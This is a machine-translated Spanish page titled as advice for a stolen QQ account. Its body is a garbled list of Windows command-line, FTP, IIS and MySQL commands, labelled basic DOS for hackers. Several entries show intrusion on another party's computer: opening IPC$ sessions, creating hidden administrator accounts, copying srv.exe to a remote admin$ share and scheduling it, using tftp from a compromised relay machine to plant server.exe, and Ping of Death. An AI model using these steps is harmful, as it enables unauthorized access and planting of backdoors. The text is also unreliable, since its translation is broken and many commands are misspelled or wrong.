Qq ha sido robado. Además de cambiar tu contraseña, ¿qué otras formas de lidiar con los delincuentes en línea?

Net utiliza \\ip\ipc$ "contraseña" /usuario:"nombre de usuario" para establecer un enlace ipc no vacío.

Net usa H:\ \ IP \ C $ "contraseña"/usuario: "nombre de usuario" para iniciar sesión directamente, que se asigna al C: local de la otra parte, que es H:

Net usa h : \\ip\c$ asigna a la otra parte después de iniciar sesión. c: Vaya al área local, que es h:

Net use \\ip\ipc$ /del para eliminar el enlace ipc.

Net usa h: /del para eliminar la asignación de la otra parte al local, y el nombre es h:

Net usuario nombre de usuario contraseña / agregar crear usuario.

Usuario de Red Invitado/Activo: Es el usuario invitado activado.

Usuarios de la red para ver qué usuarios están allí.

Nombre de la cuenta de usuario de Net para ver las propiedades de la cuenta.

El nombre de usuario/agregar de los administradores de grupos locales de red agrega "usuario" al administrador para que tenga derechos de administrador. Nota: agregue la s plural después de administrador.

Net comienza a comprobar qué servicios están activados.

El nombre del servicio de inicio de red inicia el servicio (por ejemplo, inicio de sesión remoto de la red, programación de inicio de la red)

El nombre del servicio de parada de red detiene el servicio.

Tiempo neto \\IP de destino verifica el tiempo de la otra parte.

Net time \\ Target ip /set establece la hora de la computadora local que se sincronizará con la hora del host "target ip" y agrega el parámetro /yes para cancelar el mensaje de confirmación.

Ver qué * * * privilegios están habilitados en la LAN local.

Net view \\ip comprueba qué * * * permisos están habilitados en la LAN de la otra parte.

Configuración de red muestra la configuración de red del sistema.

La red está fuera de línea y desconectada* * *Disfruta

Nombre del servicio suspendido de red servicio suspendido.

Net send ip "SMS" envía un mensaje a la otra parte.

Tipo de conexión de red e información de la red.

Comparte en línea para ver el disfrute * * * local.

Net share ipc$ está abierto a ipc$*** para su disfrute.

Partición neta ipc$ /del eliminar ipc$***

Partición neta c$ /del eliminar c:* * * *Disfruta.

Después de que el usuario de red invitado 12345 inicie sesión, cambie la contraseña a 12345.

La contraseña de red cambia la contraseña de inicio de sesión del sistema.

Netstat -a para ver qué puertos están abiertos. Utilice netstat -an con frecuencia.

Netstat -n comprueba la conexión de red del puerto, normalmente netstat -an.

Ver el trabajo en curso

netstat -p ejemplo de nombre de protocolo: netstat -p tcq/ip ver el uso del protocolo (ver el uso del protocolo tcp/ip).

Netstat -s muestra el uso de todos los protocolos en uso.

Nbtstat -Una ip abre uno de los puertos IP 136 a 139 de la otra parte. Puede ver el nombre de usuario del último inicio de sesión de la otra parte (el nombre de usuario antes de 03) - Nota: El parámetro -. A debe estar en mayúscula.

tracert-parameter ruta de seguimiento de IP (o nombre de computadora) (paquete), parámetro: "-w número" se utiliza para establecer el intervalo de tiempo de espera.

Ping ip (o nombre de dominio) envía datos con un tamaño predeterminado de 32 bytes a otro host. Los parámetros son "-l [espacio] tamaño del paquete"; "-n veces para enviar datos"; "-t" significa hacer ping todo el tiempo.

Ping -t -l 65550 ip Ping de la muerte (enviar un archivo de más de 64K y hacer ping continuamente se convierte en ping de la muerte).

Ipconfig (winipcfg) se usa para Windows NT y XP (Windows 95 98) para ver la dirección IP local. Ipconfig puede usar el parámetro "/all" para mostrar toda la información de configuración.

Tlist -t muestra el proceso en una lista de líneas de árbol (es una herramienta adicional para el sistema, no se instala de forma predeterminada y se encuentra en la carpeta Soporte/herramientas del directorio de instalación).

Agregue el parámetro -F al nombre del proceso kill -F para finalizar forzosamente un proceso (es una herramienta adicional para el sistema, no instalada de forma predeterminada y se encuentra en la carpeta Soporte/herramientas del directorio de instalación).

El nombre del archivo Del -F se puede eliminar después de agregar el parámetro -F. /AR, /AH, /AS y /AA significan eliminar archivos de solo lectura, ocultos, del sistema y de almacenamiento, respectivamente. /A-R, /A-H, /A-S y /A-A significan eliminar archivos excepto archivos de solo lectura, ocultos, del sistema y de archivo. Por ejemplo, "DEL/AR *.*" significa eliminar todos los archivos de solo lectura en el directorio actual, y "DEL/A-S *.*" significa eliminar todos los archivos en el directorio actual excepto los archivos del sistema.

Dos:

Elimine el directorio /S /Q o utilice: rmdir /s /Q directorio /S para eliminar el directorio y todos los subdirectorios y archivos que contiene. Al mismo tiempo, use el parámetro /Q para cancelar la operación de eliminación y elimínela directamente después de que el sistema la confirme. (Ambos comandos tienen el mismo efecto)

Mueva la letra de unidad\ruta\ruta para almacenar el nombre del archivo que se va a mover\nombre del archivo. Después de mover, use el parámetro /y para cancelar el mensaje y confirmar que el El mismo archivo existe en el directorio movido, cobertura directa.

fc one . txt two . txt > 3t.txt compara dos archivos y genera las diferencias en el archivo 3t.txt. ">" y ">>Este es un comando de redirección

En /delete detiene todas las tareas programadas. Utilice el parámetro /yes para detenerlo directamente sin confirmación.

En el número de identificación /Detener las tareas programadas registradas cuando se eliminan

Ver todas las tareas programadas. En \\ ip nombre del programa (o comando)/r ejecutar el programa de la otra parte y reiniciar la computadora. p>

Dedo el nombre de usuario @host para ver qué usuarios han iniciado sesión recientemente.

El puerto IP de Telnet está alejado del servidor de inicio de sesión. El puerto predeterminado es 23. >Abra la conexión IP a IP (comando). después de iniciar sesión en telnet)

Telnet: escriba telnet directamente en esta máquina para ingresar telnet en esta máquina

Copiar ruta\nombre de archivo 1 ruta\nombre de archivo 2 /yCopiar archivo 1 al. directorio especificado como archivo 2 y use el parámetro /y para cancelar la confirmación y sobrescribir el archivo del directorio existente

Copiar c:\srv exe \\ip\admin$ Copiar el c:\srv local. .exe al administrador de la otra parte

cppy 1st.jpg/b+2st.txt/a 3st.jpg Copie el contenido del 2st .txt Escóndelo en 1st.jpg y genera un nuevo archivo en 3st. .jpg Nota: El encabezado del archivo 2st.txt debe tener tres líneas vacías: /b se refiere al archivo binario y /a se refiere al archivo ASCLL. $\svv.exe c:\ o:copiar \\IP\admin$\* *Copie los archivos srv.exe (todos los archivos) propiedad de otros administradores$*** al c:

local. Xcopy archivo o árbol de directorios dirección de destino\nombre del directorio copia archivos y árboles de directorios, sobrescribiendo el mismo archivo sin el parámetro /y.

Tftp -i propia IP (use la IP de la máquina de carne cuando use la máquina de carne como trampolín) para obtener server.exe c:\server Después de iniciar sesión con exe, descargue el server.exe de ". IP" al host de destino C:\servidor. Parámetro exe: -i significa transmitir en modo binario, como cuando se transmiten archivos EXE, o si no se agrega -i, transmitirá en modo ASCII (modo de transferencia de archivo de texto).

Tftp -i IP put c:\server.exe para iniciar sesión y cargar el c:\server.exe local en el host.

El puerto ftp ip se utiliza para cargar archivos al servidor o realizar operaciones con archivos. El puerto predeterminado es 21. Bin se refiere a la transmisión binaria (entrada de archivo ejecutable), de forma predeterminada, se transmite en formato ASCII (si es un archivo de texto).

La impresión de ruta muestra el enrutamiento IP, que muestra principalmente la dirección de red, la dirección de red, la máscara de subred, la máscara de red, la dirección de puerta de enlace, la dirección de puerta de enlace y la dirección de interfaz.

Arp comprueba y procesa la caché ARP. ARP significa Resolución de nombres y es responsable de resolver direcciones IP en direcciones MAC físicas. Arp -a mostrará toda la información.

Inicie el nombre del programa o comando /max o /min para abrir una nueva ventana y maximizar (minimizar) ejecutar un programa o comando.

Memoria utilizada para comprobar el uso de la CPU

Nombre de archivo Attrib (nombre del directorio) para ver los atributos del archivo (directorio).

El nombre del archivo atributo -A -R -S -H o +A +R +S +H elimina (agrega) los atributos de archivo, de solo lectura, de sistema y ocultos del archivo con+ se agrega como; un atributo.

Ver el directorio del archivo. Parámetros: /Q muestra a qué usuario pertenecen los archivos y directorios, /T:C muestra la hora en que se creó el archivo, /T:A muestra la hora en que se accedió al archivo por última vez y /T:W muestra la hora en que el archivo fue modificado por última vez.

Fecha/t, hora/t El uso de este parámetro, es decir, "fecha/T" y "hora/T", solo mostrará la fecha y hora actuales sin ingresar una nueva fecha y hora.

Establecer especifica el nombre de la variable de entorno = el carácter que se asignará a la variable para establecer la variable de entorno.

Set muestra todas las variables de entorno actuales.

Set p (u otros caracteres) muestra todas las variables de entorno que actualmente comienzan con el carácter p (u otros caracteres).

Pausa detiene el proceso por lotes y muestra: Presione cualquier tecla para continuar. ....

Si realiza procesamiento condicional en un programa por lotes (consulte if comando y variables para más detalles)

La etiqueta goto apunta cmd.exe al proceso por lotes Una línea de etiqueta en el programa (la etiqueta debe ser una línea separada y comenzar con dos puntos, como la etiqueta ":start").

Ruta de llamada\nombre del archivo por lotes Llama a otro programa por lotes desde un programa por lotes (ver llamada/?)

Para realiza una operación específica en cada archivo en un conjunto de archivos Comandos (ver para comandos y variables para más detalles).

Echo activado o desactivado Activa o desactiva el eco, muestra la configuración actual del eco, solo eco, sin parámetros.

Los mensajes de eco muestran información en la pantalla.

Mensaje de eco> & gtPass.txt guarda el "mensaje" en el archivo pass.txt.

Findstr "Hello" aa.txt busca la cadena Hello en el archivo aa.txt.

Buscar nombre de archivo Buscar archivo

Título Nombre de título Cambia el nombre del título de la ventana CMD.

El valor del color establece los colores de primer plano y de fondo de la consola cmd; 0 = negro, 1 = azul, 2 = verde, 3 = verde claro, 4 = rojo, 5 = morado, 6 = amarillo, 7=blanco, 8=gris, 9=azul claro, a=verde claro, B=verde claro, C=rojo claro, D=morado claro.

El nombre del mensaje cambia el símbolo del sistema mostrado por cmd.exe (cambie C:\, D:\ a: EntSky\).

Imprimir el nombre del archivo e imprimir el archivo de texto

Tres:

Ver muestra información de la versión en la ventana de DOS.

La ventana emergente de Winver muestra información de la versión (tamaño de la memoria, versión del sistema, versión del parche, nombre de la computadora).

Formatear letra /FS: escriba formatear disco, escriba: FAT, FAT32, NTFS, por ejemplo: Formato D: /FS:NTFS.

Nombre del directorio Md para crear un directorio

Reemplace el archivo fuente con el directorio del archivo reemplazado

Cambie el nombre del archivo original a un nuevo nombre de archivo

El árbol muestra directorios en una estructura de árbol y los nombres de los archivos en la primera carpeta se enumerarán usando el parámetro -f.

Escribir nombre de archivo muestra el contenido de un archivo de texto.

Más nombres de archivos muestran los archivos de salida pantalla por pantalla.

Comando Doskey lock = carácter

Comando Doskey para desbloquear = el comando de bloqueo proporcionado para DOS (editar la línea de comando, llamar al comando win2k, crear una macro). Por ejemplo: comando lock dir: doskey dir=entsky (doskeydir = dir no se puede usar desbloquear: doskey dir=

Taskmgr llama al administrador de tareas

Chkdsk /F D: verificar el disco); D y Mostrar informe de estado; agregar el parámetro /f y corregir errores en el disco.

Tlntadmn telnt service admn, escriba Tlntadmn, seleccione 3, luego seleccione 8 para cambiar el puerto predeterminado 23 del servicio telnet a cualquier otro puerto.

Salir sale del programa cmd.exe o utiliza actualmente el parámetro /B para salir del script por lotes actual en lugar de cmd.exe.

Ruta ruta\nombre del archivo ejecutable establece la ruta al archivo ejecutable.

Cmd inicia la ventana de interpretación de comandos de win2K. Parámetros: /eff, /en desactiva y activa la expansión de comandos. Ver cmd/?

el nombre del archivo de registro regedit /s se importa al registro; el parámetro /S se refiere a la importación en modo silencioso sin ningún mensaje

el nombre del archivo de registro regedit /e exporta el registro

El parámetro de nombre de archivo Cacls muestra o modifica la lista de control de acceso a archivos (ACL), para formato NTFS. Parámetros: /D nombre de usuario: configurado para denegar el acceso al usuario; /P nombre de usuario: permanente reemplaza los derechos de acceso del usuario especificado; /G nombre de usuario: permanente otorga derechos de acceso al usuario especificado: N ninguno, R lectura, W Escritura; , C cambio (escritura), F control total; ejemplo: cacls D:\test.txt /D pub establece D:\test.txt para denegar el acceso al usuario de pub.

Nombre del archivo Cacls para ver la lista de permisos de usuario de acceso al archivo.

El contenido de texto REM agrega comentarios al archivo por lotes

Ver o cambiar la configuración de la red local

Comando del servicio IIS:

Iisreset / reiniciar Reinicie la computadora win2k (pero aparecerá un mensaje de reinicio del sistema).

Iisreset /start o stop inicia (detiene) todos los servicios de Internet.

Iisreset /restart detiene y reinicia todos los servicios de Internet.

Iisreset /status muestra el estado de todos los servicios de Internet.

Iisreset /enable o enable habilita (deshabilita) el reinicio del servicio de Internet en el sistema local.

Iisreset /rebootonerror Al iniciar, detener o reiniciar el servicio de Internet, si ocurre un error, se reiniciará.

Si no se puede detener el servicio de Internet, Iisreset /noforce no finalizará el servicio de Internet por la fuerza.

Iisreset /timeout Val no detiene el servicio de Internet cuando expira el tiempo de espera (segundos). Si se especifica el parámetro /rebooterror, la computadora se reiniciará. Los valores predeterminados son 20 segundos para reiniciar, 60 segundos para detener y 0 segundos para reiniciar.

Comando FTP: (los detalles se darán más adelante)

El formato de línea de comando de ftp es:

FTP-V-D-I-N-G[nombre de host]-V muestra el control remoto servidor toda la información de respuesta.

-d usa el modo de depuración.

-n restringe el inicio de sesión automático mediante ftp, es decir, no lo utiliza. archivo netrc.

-g Cancela el nombre del archivo global.

¿Ayuda [comando] o? [Comando] Ver descripción del comando

Adiós o salir finaliza el proceso FTP del host y sale del modo de administración FTP.

Pwd enumera el directorio del host remoto actual.

Cargar o enviar el nombre del archivo local [nombre del archivo cargado al host] envía un archivo local al host remoto.

Obtener o recv [el nombre del archivo del host remoto] [el nombre del archivo después de descargarlo al local] se transfiere del host remoto al host local.

Mget [remote-files] recibe un lote de archivos del host remoto al host local.

Mput local-files transfiere un lote de archivos desde el host local al host remoto.

Dir o ls[directorio remoto][archivos locales] enumera los archivos en el directorio del host remoto actual. Si hay un archivo local, los resultados se escriben en el archivo local.

Ascii configura el archivo que se enviará en formato ASCII (predeterminado).

Los archivos bin o de configuración de imagen se envían en modo binario.

4 DOS básico para hackers (el más completo).

La campana hará sonar una alerta cada vez que se complete una transferencia de archivos.

Cdup vuelve al directorio anterior.

Cerrar interrumpe la sesión ftp con el servidor remoto (correspondiente a abrir)

Abrir host[puerto] establece una conexión con el servidor ftp especificado y puede especificar el puerto de conexión.

Eliminar elimina archivos del host remoto.

Eliminar un lote de archivos.

Mkdir nombre-directorio crea un directorio en el host remoto.

Renombrar [de] [a] cambia el nombre del archivo en el host remoto.

Rmdir nombre-directorio elimina el directorio en el host remoto.

Estado muestra el estado actual de FTP.

El sistema muestra el tipo de sistema host remoto.

Usuario nombre de usuario [contraseña] [cuenta] Inicie sesión en el host remoto nuevamente usando un nombre de usuario diferente.

Abrir el host [puerto] restablece una nueva conexión.

Modo de solicitud interactiva

Comando de macro de definición de Macdef

lcd cambia el directorio de trabajo del host local actual. Si está predeterminado, irá al actual. directorio de inicio del usuario.

Chmod cambia los permisos de archivos en el host remoto.

Cuando se activa el caso, los nombres de los archivos copiados por el comando MGET se transfieren a la máquina local y todos los archivos se convierten a letras minúsculas.

Cd remote-dir ingresa al directorio del host remoto.

Cdup ingresa al directorio principal del directorio del host remoto.

! Ejecute un shell interactivo en la máquina local y salga para regresar al entorno ftp, por ejemplo. ls*. Vitality

Cinco:

Comando MYSQL:

Mysql -h dirección de host -u nombre de usuario -p contraseña para conectarse a MySQL si se acaba de instalar MYSQL; superusuario root No hay contraseña.

(Por ejemplo: MySQL-h 110.10.10.110-urot-p 123456)

Nota: u y root se pueden dejar en blanco, y otros también se pueden dejar en blanco)

Salir Salir de MYSQL

Mysqladmin -u nombre de usuario -pContraseña antigua Nueva contraseña Cambiar contraseña

Otorgar permiso de selección a la base de datos. * al nombre de usuario@loginhost identificado por "contraseña"; agregar nuevo usuario. (Nota: a diferencia de lo anterior, los siguientes son comandos en el entorno MYSQL, por lo que el punto y coma se utiliza como terminador de comando).

Muestra la base de datos; Al principio solo existían dos bases de datos: mysql y test. La biblioteca MySQL es muy importante. Contiene información del sistema MYSQL. Cuando cambiamos contraseñas y agregamos nuevos usuarios, en realidad usamos esta biblioteca para operar.

Usar mysql

Mostrar la tabla; mostrar la tabla de datos en la biblioteca

Describir el nombre de la tabla para mostrar la estructura de la tabla de datos

Crear un nombre de biblioteca de base de datos; crear una biblioteca

Usar el nombre de la biblioteca;

Crear un nombre de tabla (lista de configuración de campos)

Eliminar; nombre de la biblioteca de la base de datos;

Eliminar el nombre de la tabla; eliminar la base de datos y eliminar la tabla

Eliminar del nombre de la tabla; borrar registros en la tabla

Seleccione * del nombre de la tabla; en Los registros se muestran en la tabla

mysqldump-opt school & gt; base de datos de respaldo School.bbb: (El comando se ejecuta en el directorio \\mysql\\bin de DOS); base de datos school al archivo bbb, que es un archivo de texto con un nombre de archivo arbitrario. Ábrelo y mira si encuentras algo nuevo.

Nuevos comandos bajo el sistema win2003 (parte práctica):

apagar/parámetro apaga o reinicia el host local o remoto.

Descripción del parámetro: /S apaga el host, /R reinicia el host, /T establece el tiempo de retardo en el rango de 0 ~ 180 segundos, /A cancela el inicio, /m//IP especifica el anfitrión remoto.

Ejemplo: apagado /r /t 0 Reinicia inmediatamente el host local (sin demora)

tarea ill/parámetro nombre del proceso o proceso pid finaliza una o más tareas y procesos.

Descripción del parámetro: /pid es el pid de un proceso a terminar. Puede usar el comando tasklist para obtener el pid de cada proceso, /IM es el nombre del proceso a terminar, /. F es la terminación forzada del proceso, /T finaliza el proceso especificado y los procesos secundarios que inicia.

La lista de tareas muestra los procesos, servicios e identificadores de proceso (PID) de los procesos de servicio que se ejecutan actualmente en hosts locales y remotos.

Descripción del parámetro: /M enumera los archivos dll cargados por el proceso actual, /SVC muestra los servicios correspondientes a cada proceso. Si no hay parámetros, solo se enumera el proceso actual.